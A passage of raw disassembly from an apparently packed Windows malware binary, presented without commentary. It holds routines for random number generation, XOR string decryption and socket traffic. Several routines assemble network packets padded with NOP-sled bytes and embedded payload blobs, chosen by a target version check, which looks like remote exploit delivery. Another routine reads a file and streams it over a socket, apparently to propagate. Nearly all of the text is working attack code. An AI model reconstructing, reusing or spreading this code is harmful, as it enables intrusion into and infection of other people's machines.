mov ecx, [ebp+arg_4] add ecx, [ebp+var_8] movzx ecx, byte ptr [ecx+1] shl ecx, 8 or eax, ecx mov ecx, [ebp+arg_4] add ecx, [ebp+var_8] movzx ecx, byte ptr [ecx+2] shl ecx, 10h or eax, ecx mov ecx, [ebp+arg_4] add ecx, [ebp+var_8] movzx ecx, byte ptr [ecx+3] shl ecx, 18h or eax, ecx mov ecx, [ebp+var_4] mov edx, [ebp+arg_0] mov [edx+ecx*4], eax jmp short loc_410253 ; --------------------------------------------------------------------------- locret_4102AC: ; CODE XREF: sub_410244+25j leave retn sub_410244 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4102AE proc near ; CODE XREF: MEW:004168D0p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push 0F0000000h push 1 push 0 push 0 lea eax, [ebp+var_4] push eax call dword_417024 ; CryptAcquireContextA push offset dword_41EAAC push 4 push [ebp+var_4] call dword_417020 ; CryptGenRandom push offset dword_41EAB0 push 4 push [ebp+var_4] call dword_417020 ; CryptGenRandom push offset dword_41EAB4 push 4 push [ebp+var_4] call dword_417020 ; CryptGenRandom push offset dword_41EAB8 push 4 push [ebp+var_4] call dword_417020 ; CryptGenRandom push 0 push [ebp+var_4] call dword_41701C ; CryptReleaseContext leave retn sub_4102AE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410318 proc near ; CODE XREF: sub_4103F5+6p ; sub_410422+6p ... var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ebx push esi push edi lock xadd dword_41EAAC, eax add eax, ebx lock xadd dword_41EAB0, eax add eax, ecx lock xadd dword_41EAB4, eax add eax, edx lock xadd dword_41EAB8, eax add eax, esi lock xadd dword_41EAAC, eax add eax, edi lock xadd dword_41EAB0, eax add eax, ebp lock xadd dword_41EAB4, eax add eax, esp lock xadd dword_41EAB8, eax call sub_416B64 ; clock mov [ebp+var_4], eax mov eax, [ebp+var_4] lock xadd dword_41EAAC, eax lock xadd dword_41EAB0, eax lock xadd dword_41EAB4, eax lock xadd dword_41EAB8, eax add ecx, ebx ror ebx, cl lock xadd dword_41EAB4, ebx add ecx, ecx ror ecx, cl lock xadd dword_41EAB0, ecx add ecx, edx ror edx, cl lock xadd dword_41EAAC, edx rol eax, cl add ecx, eax ror ebx, cl add ecx, ebx ror ecx, cl add ecx, 211h rol edx, cl add ecx, edx lock xadd dword_41EAB8, edx lock xadd dword_41EAB4, ecx lock xadd dword_41EAB0, ebx lock xadd dword_41EAAC, eax pop edi pop esi pop ebx leave retn sub_410318 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4103F5 proc near ; CODE XREF: sub_4020C2+10Bp ; sub_4040E8+2Dp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi push edi call sub_410318 call sub_416B64 ; clock lock xadd dword_41EAB8, eax mov ecx, [ebp+arg_4] sub ecx, [ebp+arg_0] xor edx, edx inc ecx div ecx mov eax, edx add eax, [ebp+arg_0] pop edi pop esi pop ebx pop ebp retn sub_4103F5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410422 proc near ; CODE XREF: sub_40CF2F:loc_40CFBCp ; sub_40D871+D3Fp ... push ebp mov ebp, esp push ebx push esi push edi call sub_410318 call sub_416B64 ; clock lock xadd dword_41EAB8, eax pop edi pop esi pop ebx pop ebp retn sub_410422 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41043F proc near ; CODE XREF: sub_4055E5+715p ; sub_4055E5+78Bp push ebp mov ebp, esp push ebx push esi push edi call sub_410318 call sub_416B64 ; clock lock xadd dword_41EAB4, eax and eax, 0FFFFh pop edi pop esi pop ebx pop ebp retn sub_41043F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410461 proc near ; CODE XREF: sub_4104A3+42p ; sub_4125DF:loc_4126B8p push ebp mov ebp, esp push ebx push esi push edi call sub_410318 call sub_416B64 ; clock lock xadd dword_41EAB0, eax and eax, 0FFh pop edi pop esi pop ebx pop ebp retn sub_410461 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410483 proc near ; CODE XREF: sub_4055E5+72Bp ; sub_40D7E5+57p push ebp mov ebp, esp push ebx push esi push edi call sub_410318 call sub_416B64 ; clock lock xadd dword_41EAAC, eax and eax, 1 pop edi pop esi pop ebx pop ebp retn sub_410483 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4104A3 proc near ; CODE XREF: sub_40A9CF+D4Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_4], 0 jnz short loc_4104AF jmp short locret_4104FF ; --------------------------------------------------------------------------- loc_4104AF: ; CODE XREF: sub_4104A3+8j mov eax, [ebp+arg_0] mov [ebp+var_4], eax loc_4104B5: ; CODE XREF: sub_4104A3+34j cmp [ebp+arg_4], 3 jbe short loc_4104D9 call sub_410422 mov ecx, [ebp+var_4] mov [ecx], eax mov eax, [ebp+var_4] add eax, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_4] sub eax, 4 mov [ebp+arg_4], eax jmp short loc_4104B5 ; --------------------------------------------------------------------------- loc_4104D9: ; CODE XREF: sub_4104A3+16j mov eax, [ebp+var_4] mov [ebp+arg_0], eax loc_4104DF: ; CODE XREF: sub_4104A3+5Aj cmp [ebp+arg_4], 0 jbe short locret_4104FF call sub_410461 mov ecx, [ebp+arg_0] mov [ecx], al mov eax, [ebp+arg_0] inc eax mov [ebp+arg_0], eax mov eax, [ebp+arg_4] dec eax mov [ebp+arg_4], eax jmp short loc_4104DF ; --------------------------------------------------------------------------- locret_4104FF: ; CODE XREF: sub_4104A3+Aj ; sub_4104A3+40j leave retn sub_4104A3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410501 proc near ; CODE XREF: sub_403260+36p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_4], 0 jnz short loc_410510 xor eax, eax jmp short locret_41055D ; --------------------------------------------------------------------------- loc_410510: ; CODE XREF: sub_410501+9j cmp [ebp+arg_10], 0 jnz short loc_41051C mov eax, [ebp+arg_4] mov [ebp+arg_10], eax loc_41051C: ; CODE XREF: sub_410501+13j push [ebp+arg_10] push [ebp+arg_4] call sub_4103F5 pop ecx pop ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] mov [ebp+var_4], eax loc_410532: ; CODE XREF: sub_410501+57j cmp [ebp+var_4], 0 jbe short loc_41055A push [ebp+arg_C] push [ebp+arg_8] call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+arg_0] mov [ecx], al mov eax, [ebp+arg_0] inc eax mov [ebp+arg_0], eax mov eax, [ebp+var_4] dec eax mov [ebp+var_4], eax jmp short loc_410532 ; --------------------------------------------------------------------------- loc_41055A: ; CODE XREF: sub_410501+35j mov eax, [ebp+var_8] locret_41055D: ; CODE XREF: sub_410501+Dj leave retn sub_410501 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41055F proc near ; CODE XREF: MEW:004168E1p var_58 = byte ptr -58h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 58h push ebx push esi push edi lea eax, [ebp+var_58] push eax call sub_40F11F pop ecx push [ebp+arg_4] push [ebp+arg_0] lea eax, [ebp+var_58] push eax call sub_40F159 add esp, 0Ch lea eax, [ebp+var_58] push eax push offset byte_41EAC0 call sub_40F26E pop ecx pop ecx lea esi, byte_41EAC0 mov edi, esi push 10h pop ecx loc_41059F: ; CODE XREF: sub_41055F+47j lodsb or eax, 80h stosb loop loc_41059F pop edi pop esi pop ebx leave retn sub_41055F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4105AD proc near ; CODE XREF: sub_406E8E+C6p ; sub_406E8E+14Ap ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] movzx eax, byte ptr [eax] cmp eax, 7Fh jle short loc_4105BE jmp short locret_4105F9 ; --------------------------------------------------------------------------- loc_4105BE: ; CODE XREF: sub_4105AD+Dj and [ebp+var_4], 0 jmp short loc_4105CB ; --------------------------------------------------------------------------- loc_4105C4: ; CODE XREF: sub_4105AD+4Aj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_4105CB: ; CODE XREF: sub_4105AD+15j mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jz short locret_4105F9 mov eax, [ebp+var_4] cdq push 10h pop ecx idiv ecx mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov al, [eax] xor al, byte_41EAC0[edx] mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al jmp short loc_4105C4 ; --------------------------------------------------------------------------- locret_4105F9: ; CODE XREF: sub_4105AD+Fj ; sub_4105AD+29j leave retn sub_4105AD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4105FB proc near ; CODE XREF: sub_401000+4Ap ; sub_4043E9+1Ap ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] movzx eax, byte ptr [eax] cmp eax, 7Fh jg short loc_41060C jmp short locret_410647 ; --------------------------------------------------------------------------- loc_41060C: ; CODE XREF: sub_4105FB+Dj and [ebp+var_4], 0 jmp short loc_410619 ; --------------------------------------------------------------------------- loc_410612: ; CODE XREF: sub_4105FB+4Aj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_410619: ; CODE XREF: sub_4105FB+15j mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jz short locret_410647 mov eax, [ebp+var_4] cdq push 10h pop ecx idiv ecx mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov al, [eax] xor al, byte_41EAC0[edx] mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al jmp short loc_410612 ; --------------------------------------------------------------------------- locret_410647: ; CODE XREF: sub_4105FB+Fj ; sub_4105FB+29j leave retn sub_4105FB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410649 proc near ; DATA XREF: MEW:off_41CCD6o var_1B78 = dword ptr -1B78h var_1B74 = byte ptr -1B74h var_B74 = byte ptr -0B74h var_B6C = dword ptr -0B6Ch var_B64 = dword ptr -0B64h var_374 = dword ptr -374h var_370 = dword ptr -370h var_36C = byte ptr -36Ch var_280 = byte ptr -280h var_276 = byte ptr -276h var_272 = byte ptr -272h var_23A = byte ptr -23Ah var_236 = byte ptr -236h var_232 = byte ptr -232h var_204 = dword ptr -204h var_200 = byte ptr -200h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1B78h call sub_416BC0 push 48h push offset dword_41A7B0 mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch push 0EA60h mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_40546E pop ecx pop ecx test eax, eax jnz short loc_410686 jmp locret_410B50 ; --------------------------------------------------------------------------- loc_410686: ; CODE XREF: sub_410649+36j push 0 push 1000h lea eax, [ebp+var_1B74] push eax mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call dword_417248 ; recv push 7 push offset dword_41A7A8 mov eax, [ebp+arg_0] push dword ptr [eax+2Ah] mov eax, [ebp+arg_0] add eax, 146h push eax mov eax, [ebp+arg_0] add eax, 0C6h push eax mov eax, [ebp+arg_0] push dword ptr [eax+0C2h] push 200h lea eax, [ebp+var_200] push eax call sub_4125DF add esp, 20h mov [ebp+var_370], eax cmp [ebp+var_370], 0 jnz short loc_4106F0 jmp locret_410B50 ; --------------------------------------------------------------------------- loc_4106F0: ; CODE XREF: sub_410649+A0j and [ebp+var_374], 0 jmp short loc_410706 ; --------------------------------------------------------------------------- loc_4106F9: ; CODE XREF: sub_410649+E1j mov eax, [ebp+var_374] inc eax mov [ebp+var_374], eax loc_410706: ; CODE XREF: sub_410649+AEj cmp [ebp+var_374], 168h jge short loc_41072C push 7Ah push 61h call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+var_374] mov [ebp+ecx+var_36C], al jmp short loc_4106F9 ; --------------------------------------------------------------------------- loc_41072C: ; CODE XREF: sub_410649+C7j push 0Ah push offset loc_41A8A0 lea eax, [ebp+var_280] push eax call sub_416B52 ; memcpy add esp, 0Ch push 2 push offset loc_41A8F0 lea eax, [ebp+var_276] push eax call sub_416B52 ; memcpy add esp, 0Ch push 4 push offset loc_41A8E8 lea eax, [ebp+var_272] push eax call sub_416B52 ; memcpy add esp, 0Ch push 2 push offset loc_41A8EC lea eax, [ebp+var_23A] push eax call sub_416B52 ; memcpy add esp, 0Ch push 4 push (offset loc_41A8E3+1) lea eax, [ebp+var_236] push eax call sub_416B52 ; memcpy add esp, 0Ch push 0Bh push offset loc_41A894 lea eax, [ebp+var_232] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, 3E6h sub eax, [ebp+var_370] mov [ebp+var_204], eax and [ebp+var_1B78], 0 push 18h push offset dword_41A7FC mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 18h mov [ebp+var_1B78], eax push 44h push offset dword_41A818 mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 44h mov [ebp+var_1B78], eax push 20h push 0FFFFFF90h mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 20h mov [ebp+var_1B78], eax push 4 push offset loc_41A8AC mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 4 mov [ebp+var_1B78], eax push 4 push offset loc_41A8E0 mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 4 mov [ebp+var_1B78], eax push 4 push offset dword_41A8D8 mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 4 mov [ebp+var_1B78], eax push 4 push offset loc_41A8DC mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 4 mov [ebp+var_1B78], eax push 58h push 0FFFFFF90h mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 58h mov [ebp+var_1B78], eax push 6 push offset loc_41A8B4 mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 6 mov [ebp+var_1B78], eax push 8 push 0FFFFFF90h mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 8 mov [ebp+var_1B78], eax push 4 push offset loc_41A8BC mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 4 mov [ebp+var_1B78], eax push 4 push 0FFFFFF90h mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 4 mov [ebp+var_1B78], eax push 6 push offset loc_41A8C4 mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 6 mov [ebp+var_1B78], eax push [ebp+var_204] push 0FFFFFF90h mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+var_1B78] add eax, [ebp+var_204] mov [ebp+var_1B78], eax push [ebp+var_370] lea eax, [ebp+var_200] push eax mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_1B78] add eax, [ebp+var_370] mov [ebp+var_1B78], eax push 168h lea eax, [ebp+var_36C] push eax mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 168h mov [ebp+var_1B78], eax push 0Ah push offset off_41A8CC mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 0Ah mov [ebp+var_1B78], eax push 32h push offset dword_41A860 mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 32h mov [ebp+var_1B78], eax mov eax, [ebp+var_1B78] mov [ebp+var_B6C], eax mov eax, [ebp+var_1B78] sub eax, 18h mov [ebp+var_B64], eax push [ebp+var_1B78] lea eax, [ebp+var_B74] push eax mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch push 0EA60h mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_40546E pop ecx pop ecx test eax, eax jnz short loc_410B36 jmp short locret_410B50 ; --------------------------------------------------------------------------- loc_410B36: ; CODE XREF: sub_410649+4E9j push 0 push 1000h lea eax, [ebp+var_1B74] push eax mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call dword_417248 ; recv locret_410B50: ; CODE XREF: sub_410649+38j ; sub_410649+A2j ... leave retn sub_410649 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410B52 proc near ; DATA XREF: MEW:0041CD10o var_104C = byte ptr -104Ch var_FC6 = byte ptr -0FC6h var_BDE = byte ptr -0BDEh var_B9E = byte ptr -0B9Eh var_B7C = dword ptr -0B7Ch var_B78 = byte ptr -0B78h var_AF2 = byte ptr -0AF2h var_88E = byte ptr -88Eh var_882 = byte ptr -882h var_85E = byte ptr -85Eh var_852 = byte ptr -852h var_82E = byte ptr -82Eh var_80C = byte ptr -80Ch var_7CC = byte ptr -7CCh var_7C8 = byte ptr -7C8h var_20C = dword ptr -20Ch var_208 = byte ptr -208h var_204 = byte ptr -204h var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 104Ch call sub_416BC0 push 7 push offset dword_41A7A8 mov eax, [ebp+arg_0] push dword ptr [eax+2Ah] mov eax, [ebp+arg_0] add eax, 146h push eax mov eax, [ebp+arg_0] add eax, 0C6h push eax mov eax, [ebp+arg_0] push dword ptr [eax+0C2h] push 200h lea eax, [ebp+var_204] push eax call sub_4125DF add esp, 20h mov [ebp+var_20C], eax cmp [ebp+var_20C], 0 jnz short loc_410BAF jmp locret_410F5E ; --------------------------------------------------------------------------- loc_410BAF: ; CODE XREF: sub_410B52+56j push 89h push offset dword_41AF50 mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch push 2710h push 600h lea eax, [ebp+var_80C] push eax mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_405443 add esp, 10h test eax, eax jnz short loc_410BEF jmp locret_410F5E ; --------------------------------------------------------------------------- loc_410BEF: ; CODE XREF: sub_410B52+96j push 0A8h push offset dword_41AFDC mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch push 2710h push 600h lea eax, [ebp+var_80C] push eax mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_405443 add esp, 10h test eax, eax jnz short loc_410C2F jmp locret_410F5E ; --------------------------------------------------------------------------- loc_410C2F: ; CODE XREF: sub_410B52+D6j push 0DEh push offset dword_41B088 mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch push 2710h push 600h lea eax, [ebp+var_80C] push eax mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_405443 add esp, 10h test eax, eax jnz short loc_410C6F jmp locret_410F5E ; --------------------------------------------------------------------------- loc_410C6F: ; CODE XREF: sub_410B52+116j movsx eax, [ebp+var_7CC] sub eax, 30h mov [ebp+var_208], al movsx eax, [ebp+var_7C8] sub eax, 30h mov [ebp+var_4], al push 3Eh push offset dword_41B168 mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch push 2710h push 600h lea eax, [ebp+var_80C] push eax mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_405443 add esp, 10h test eax, eax jnz short loc_410CC9 jmp locret_410F5E ; --------------------------------------------------------------------------- loc_410CC9: ; CODE XREF: sub_410B52+170j push 60h push offset dword_41B1A8 mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch push 2710h push 600h lea eax, [ebp+var_80C] push eax mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_405443 add esp, 10h test eax, eax jnz short loc_410D06 jmp locret_410F5E ; --------------------------------------------------------------------------- loc_410D06: ; CODE XREF: sub_410B52+1ADj push 0A0h push offset dword_41B20C mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch push 2710h push 600h lea eax, [ebp+var_80C] push eax mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_405443 add esp, 10h test eax, eax jnz short loc_410D46 jmp locret_410F5E ; --------------------------------------------------------------------------- loc_410D46: ; CODE XREF: sub_410B52+1EDj movsx eax, [ebp+var_208] cmp eax, 5 jnz loc_410E71 movsx eax, [ebp+var_4] cmp eax, 1 jnz loc_410E71 push 86h push offset dword_41B2B0 lea eax, [ebp+var_B78] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+var_20C] lea eax, [ebp+var_204] push eax lea eax, [ebp+var_AF2] push eax call sub_416B52 ; memcpy add esp, 0Ch push 0 mov eax, 264h sub eax, [ebp+var_20C] add eax, 60h push eax mov eax, [ebp+var_20C] lea eax, [ebp+eax+var_AF2] push eax loc_410DB7: ; DATA XREF: MEW:off_419A7Co call sub_410F60 add esp, 0Ch push 4 push offset dword_41B410 lea eax, [ebp+var_88E] push eax call sub_416B52 ; memcpy add esp, 0Ch push 4 push offset dword_41B408 lea eax, [ebp+var_882] push eax call sub_416B52 ; memcpy add esp, 0Ch push 4 push offset dword_41B408 lea eax, [ebp+var_85E] push eax call sub_416B52 ; memcpy add esp, 0Ch push 4 push offset dword_41B408 lea eax, [ebp+var_852] push eax call sub_416B52 ; memcpy add esp, 0Ch push 20h push offset dword_41B338 lea eax, [ebp+var_82E] push eax call sub_416B52 ; memcpy add esp, 0Ch push 36Ah lea eax, [ebp+var_B78] push eax mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch push 400h call dword_41709C ; Sleep push 36Ah lea eax, [ebp+var_B78] push eax mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch jmp locret_410F5E ; --------------------------------------------------------------------------- loc_410E71: ; CODE XREF: sub_410B52+1FEj ; sub_410B52+20Bj movsx eax, [ebp+var_208] cmp eax, 5 jnz short loc_410E85 movsx eax, [ebp+var_4] test eax, eax jz short loc_410E95 loc_410E85: ; CODE XREF: sub_410B52+329j movsx eax, [ebp+var_208] cmp eax, 4 jnz locret_410F5E loc_410E95: ; CODE XREF: sub_410B52+331j push 86h push offset dword_41B35C lea eax, [ebp+var_104C] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, 3E8h sub eax, [ebp+var_20C] push eax push 90h lea eax, [ebp+var_FC6] push eax call sub_416B6A ; memset add esp, 0Ch push [ebp+var_20C] lea eax, [ebp+var_204] push eax lea eax, [ebp+var_BDE] sub eax, [ebp+var_20C] push eax call sub_416B52 ; memcpy add esp, 0Ch and [ebp+var_B7C], 0 jmp short loc_410F06 ; --------------------------------------------------------------------------- loc_410EF9: ; CODE XREF: sub_410B52+3DAj mov eax, [ebp+var_B7C] inc eax mov [ebp+var_B7C], eax loc_410F06: ; CODE XREF: sub_410B52+3A5j cmp [ebp+var_B7C], 10h jge short loc_410F2E push 4 push offset dword_41B408 mov eax, [ebp+var_B7C] lea eax, [ebp+eax*4+var_BDE] push eax call sub_416B52 ; memcpy add esp, 0Ch jmp short loc_410EF9 ; --------------------------------------------------------------------------- loc_410F2E: ; CODE XREF: sub_410B52+3BBj push 20h push offset dword_41B3E4 lea eax, [ebp+var_B9E] push eax call sub_416B52 ; memcpy add esp, 0Ch push 4CEh lea eax, [ebp+var_104C] push eax mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch locret_410F5E: ; CODE XREF: sub_410B52+58j ; sub_410B52+98j ... leave retn sub_410B52 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410F60 proc near ; CODE XREF: sub_410B52:loc_410DB7p var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h cmp [ebp+arg_8], 0 jnz short loc_410FA4 and [ebp+var_4], 0 jmp short loc_410F79 ; --------------------------------------------------------------------------- loc_410F72: ; CODE XREF: sub_410F60+3Dj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_410F79: ; CODE XREF: sub_410F60+10j mov eax, [ebp+var_4] cmp eax, [ebp+arg_4] jnb short loc_410F9F push 20h push 0 call sub_4103F5 pop ecx pop ecx imul eax, 5 mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov al, byte_41BB00[eax] mov [ecx], al jmp short loc_410F72 ; --------------------------------------------------------------------------- loc_410F9F: ; CODE XREF: sub_410F60+1Fj jmp locret_41102D ; --------------------------------------------------------------------------- loc_410FA4: ; CODE XREF: sub_410F60+Aj cmp [ebp+arg_8], 7Fh jnz short loc_410FDF and [ebp+var_8], 0 jmp short loc_410FB7 ; --------------------------------------------------------------------------- loc_410FB0: ; CODE XREF: sub_410F60+7Bj mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_410FB7: ; CODE XREF: sub_410F60+4Ej mov eax, [ebp+var_8] cmp eax, [ebp+arg_4] jnb short loc_410FDD push 5 push 0 call sub_4103F5 pop ecx pop ecx imul eax, 5 mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov al, byte_41BB00[eax] mov [ecx], al jmp short loc_410FB0 ; --------------------------------------------------------------------------- loc_410FDD: ; CODE XREF: sub_410F60+5Dj jmp short locret_41102D ; --------------------------------------------------------------------------- loc_410FDF: ; CODE XREF: sub_410F60+48j and [ebp+var_C], 0 loc_410FE3: ; CODE XREF: sub_410F60+ADj ; sub_410F60+CBj mov eax, [ebp+var_C] cmp eax, [ebp+arg_4] jnb short locret_41102D push 20h push 0 call sub_4103F5 pop ecx pop ecx mov [ebp+var_10], al movsx eax, [ebp+var_10] imul eax, 5 mov ecx, [ebp+arg_8] and ecx, dword_41BB01[eax] test ecx, ecx jz short loc_41100F jmp short loc_410FE3 ; --------------------------------------------------------------------------- loc_41100F: ; CODE XREF: sub_410F60+ABj movsx eax, [ebp+var_10] imul eax, 5 mov ecx, [ebp+arg_0] add ecx, [ebp+var_C] mov al, byte_41BB00[eax] mov [ecx], al mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax jmp short loc_410FE3 ; --------------------------------------------------------------------------- locret_41102D: ; CODE XREF: sub_410F60:loc_410F9Fj ; sub_410F60:loc_410FDDj ... leave retn sub_410F60 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41102F proc near ; CODE XREF: sub_41113B+79Bp var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_208 = dword ptr -208h var_204 = dword ptr -204h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 210h push 0EA60h push 0 push [ebp+arg_4] push [ebp+arg_0] call sub_4050EA add esp, 10h mov [ebp+var_204], eax cmp [ebp+var_204], 0 jz short loc_411065 cmp [ebp+var_204], 0FFFFFFFFh jnz short loc_41106C loc_411065: ; CODE XREF: sub_41102F+2Bj xor eax, eax jmp locret_411139 ; --------------------------------------------------------------------------- loc_41106C: ; CODE XREF: sub_41102F+34j push offset aRb ; "rb" push offset dword_41EAFC call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_208], eax cmp [ebp+var_208], 0 jnz short loc_41109F push [ebp+var_204] call sub_4053B1 pop ecx xor eax, eax jmp locret_411139 ; --------------------------------------------------------------------------- loc_41109F: ; CODE XREF: sub_41102F+5Bj ; sub_41102F:loc_41111Cj mov eax, [ebp+var_208] mov eax, [eax+0Ch] and eax, 10h test eax, eax jnz short loc_41111E push [ebp+var_208] push 200h push 1 lea eax, [ebp+var_200] push eax call sub_416B90 ; fread add esp, 10h mov [ebp+var_20C], eax push [ebp+var_20C] lea eax, [ebp+var_200] push eax push [ebp+var_204] call sub_4053BF add esp, 0Ch mov [ebp+var_210], eax mov eax, [ebp+var_20C] cmp 